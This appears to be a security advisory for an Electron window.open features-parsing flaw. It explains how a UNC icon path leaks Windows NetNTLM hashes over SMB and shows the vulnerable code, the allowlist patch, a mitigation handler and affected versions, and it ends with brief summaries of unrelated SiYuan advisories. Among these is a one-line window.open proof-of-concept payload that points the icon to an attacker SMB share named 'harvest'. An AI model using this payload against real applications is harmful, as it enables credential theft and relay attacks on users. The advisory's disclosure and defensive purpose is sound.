Aug 5, 2026·6 min read·46 visits
An input validation vulnerability in Electron's window.open features parsing allows untrusted JavaScript to control privileged browser window options. This allows attackers to force UNC path loading, leaking Windows authentication hashes via SMB.
An input validation vulnerability in the Electron desktop framework allows untrusted web content running in a renderer process to inject privileged configuration options when creating child windows via window.open. Under Windows environments, this allows attackers to pass a remote Universal Naming Convention (UNC) path to the window icon configuration parameter, forcing the host system to make an SMB connection to a remote listener and leak the current user's NetNTLM authentication hash.
Electron utilizes a multi-process architecture to isolate host-level operations from raw client-side presentation. The main process executes with node-level host permissions, whereas the renderer processes run client-side code with constrained privileges. When client-side JavaScript calls the web-native window.open API, Electron routes this request to the main process to construct a new window interface.
Client applications utilize the optional features string within window.open to communicate layout preferences, such as window dimensions or positioning. In affected versions of the Electron framework, the component responsible for parsing these features fails to validate the key-value pairs. This permits client-supplied arguments to directly configure privileged properties within the underlying BrowserWindow constructor.
This flaw is categorized under CWE-20 (Improper Input Validation). The vulnerability allows a compromised renderer or an untrusted external web page to execute unexpected operations on the host system. By passing unvalidated parameters through the IPC bridge, attackers can bypass security boundaries and trigger unexpected filesystem or network access.
The parsing process for the features parameter is located within lib/browser/parse-features-string.ts in the parseFeatures utility function. This utility processes comma-separated values provided by the client execution context and converts them into an object dictionary. The primary coding mistake resides in casting this raw parsed object directly to the BrowserWindowConstructorOptions type using TypeScript's type assertion operator.
TypeScript type assertions provide no runtime enforcement or verification, meaning the generated JavaScript code passes the dictionary straight to the BrowserWindow constructor without sanitization. Any key supplied inside the features string is preserved and forwarded to the instantiation routine running in the main process.
An attacker can exploit this lack of validation by targeting the icon property, which accepts a local path or URI pointing to an image file. On Windows operating systems, supplying a Universal Naming Convention (UNC) path to this property directs the local SMB client to load the icon from an external server.
When the main process handles the path, the Windows kernel attempts to retrieve the image using the Server Message Block (SMB) protocol. During this connection, Windows transmits a NetNTLM challenge-response handshake to the external server, disclosing the system user's cryptographic NetNTLM authentication hash.
The patch resolved this vulnerability by changing the configuration process from an implicit trust model to a strict positive allowlist. Below is the code from the parsing utility prior to the remediation:
// VULNERABLE CODE PATH
return {
options: parsed as Omit<BrowserWindowConstructorOptions, 'webPreferences'>,
webPreferences
};In this configuration, the type assertion does not execute runtime filtering, allowing unvalidated parameters to reach the main process. The fix in commit 30cf3882de75ee651bd4e5f27002f13fd3d3163a introduces a strict Set called allowedWindowOptions and sanitizes the parsed dictionary prior to casting:
// PATCHED IMPLEMENTATION (Commit: 30cf3882de75ee651bd4e5f27002f13fd3d3163a)
const allowedWindowOptions = new Set<string>([
'top', 'left', 'innerWidth', 'innerHeight',
'x', 'y', 'width', 'height',
'minWidth', 'minHeight', 'maxWidth', 'maxHeight', 'opacity',
'show', 'center', 'useContentSize', 'frame', 'transparent', 'hasShadow',
'movable', 'closable', 'focusable', 'minimizable', 'maximizable',
'fullscreenable', 'alwaysOnTop', 'skipTaskbar', 'modal', 'acceptFirstMouse',
'autoHideMenuBar', 'enableLargerThanScreen', 'paintWhenInitiallyHidden',
'roundedCorners', 'thickFrame', 'disableAutoHideCursor', 'hiddenInMissionControl',
'title', 'backgroundColor', 'tabbingIdentifier', 'titleBarStyle', 'vibrancy',
'visualEffectState', 'backgroundMaterial'
]);
// Sanitization filter inside parseFeatures
const options: { [key: string]: CoercedValue } = {};
for (const key of Object.keys(parsed)) {
if (allowedWindowOptions.has(key)) {
options[key] = parsed[key];
}
}
return {
options: options as Omit<BrowserWindowConstructorOptions, 'webPreferences'>,
webPreferences
};Because the icon parameter is not in the allowedWindowOptions Set, any client request specifying this property is ignored. This resolves the vulnerability by ensuring that only safe presentation properties can be modified via the renderer features string.
To trigger the vulnerability, an attacker must have the ability to execute client-side JavaScript within the Electron renderer process. This can be achieved through cross-site scripting (XSS), an open redirect, or by the application loading an external, untrusted web page. The target application must also lack explicit window creation handlers that override client configuration options.
The exploit payload is delivered by invoking window.open with a features string containing the injected icon option mapping to an external SMB share. The following payload demonstrates this configuration:
window.open('about:blank', '_blank', 'icon=\\192.168.1.100\harvest\image.png,show=no');When the main process receives the payload, the Windows OS initiates a connection to the external IP address to resolve the file. The attacker captures the resulting NetNTLM challenge-response transaction using an SMB authentication handler.
The primary outcome of exploiting CVE-2026-70607 is the exposure of the Windows system user's NetNTLM credential hash. Attackers can process this captured hash offline using password cracking tools to obtain the plaintext credentials. In environments with weak network policies, the hash can also be relayed to access other corporate systems.
In addition, this vulnerability permits the manipulation of parent-child relationships and window properties. By altering parameters like parent, an attacker can impact application stability, bypass sandboxing constraints, or disrupt user interactions.
Although the CVSS score is 5.3 (Medium), the real-world risk in enterprise settings is elevated. Because SMB traffic is frequently allowed to leave corporate networks or traverse internal subnets, this vector provides a silent method for lateral movement or domain credential harvesting.
To resolve this vulnerability, developers must upgrade the Electron framework to a patched version. Safe releases containing the parameter filter are 39.8.8, 40.9.0, 41.2.1, and 42.0.0-beta.3.
If upgrading the framework is not immediately possible, you can mitigate the vulnerability by defining a custom window handler in the main process. This is done by registering the setWindowOpenHandler callback on all webContents instances:
// Implement sanitization via setWindowOpenHandler
mainWindow.webContents.setWindowOpenHandler(({ url }) => {
return {
action: 'allow',
overrideBrowserWindowOptions: {
// Explicitly define parameters to safe values, overriding renderer requests
icon: path.join(__dirname, 'assets', 'app-icon.png'),
show: true
}
};
});Overriding the browser options inside the handler takes precedence over the renderer features string, neutralizing any input passed from window.open. Restricting the application's ability to execute external scripts via a strict Content Security Policy (CSP) also helps prevent the execution of the initial exploit payload.
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:N/A:N| Product | Affected Versions | Fixed Version |
|---|---|---|
electron Electron | < 39.8.8 | 39.8.8 |
electron Electron | >= 40.0.0-alpha.1, < 40.9.0 | 40.9.0 |
electron Electron | >= 41.0.0-alpha.1, < 41.2.1 | 41.2.1 |
electron Electron | >= 42.0.0-alpha.1, < 42.0.0-beta.3 | 42.0.0-beta.3 |
| Attribute | Detail |
|---|---|
| CWE ID | CWE-20 |
| Attack Vector | Network |
| CVSS v3.1 Score | 5.3 |
| EPSS Score | Not Available |
| Impact | Information Disclosure (NetNTLM Hash Leak) |
| Exploit Status | Proof of Concept |
| CISA KEV Status | Not Listed |
The product does not validate or incorrectly validates input that can affect the control flow or data flow of a program.
A metadata disclosure vulnerability exists in SiYuan prior to version v3.7.3. The /api/block/getBlockInfo endpoint fails to validate authorization boundaries in publish mode, allowing anonymous readers to access private document metadata.
A critical authorization bypass vulnerability exists in SiYuan personal knowledge management system before v3.7.4. The /api/ref/refreshBacklink endpoint lacks administrative role verification, enabling unauthenticated users to initiate database transactions and disk operations. When combined with an unsafe SQL generation pattern in nested backlink queries, an attacker can exploit a secondary SQL injection vulnerability to compromise local databases or cause denial-of-service conditions.
A critical SQL Injection vulnerability exists in the SiYuan note-taking application (versions <= v3.7.2) due to improper neutralization of single quotes within the backlink and mention search queries. Because the application constructs SQLite Full Text Search (FTS) queries via direct string concatenation and uses a database driver that supports stacked query statements, remote unauthenticated attackers can execute arbitrary SQL commands on the master database, compromising all hosted notebooks. This issue has been fully remediated in version v3.7.4.
CVE-2026-72810 is a critical publish-boundary bypass vulnerability in the SiYuan personal knowledge management system before version 3.7.4. The flaw lies in the backend real-time WebSocket broadcast mechanism. When configured in public publish mode, the system fails to differentiate between unauthenticated public reader sessions and authorized administrative sessions within its global connection pool. This architectural oversight allows unauthenticated remote attackers connecting to the public WebSocket endpoint on port 6808 to passively receive real-time, raw workspace modification events, including keystroke logs, block updates, and content from protected or forbidden documents.
An authentication bypass vulnerability exists in the SiYuan personal knowledge management system (versions <= v3.7.2). The flaw occurs because the kernel's authorization validation handler trusts loopback connection origins blindly, allowing remote network attackers to gain administrative privileges via an exposed local reverse proxy.
An information disclosure vulnerability in the SiYuan knowledge management system versions up to and including v3.7.2 allows remote unauthorized attackers to retrieve PDF annotations via the /api/asset/getFileAnnotation endpoint due to missing authorization checks.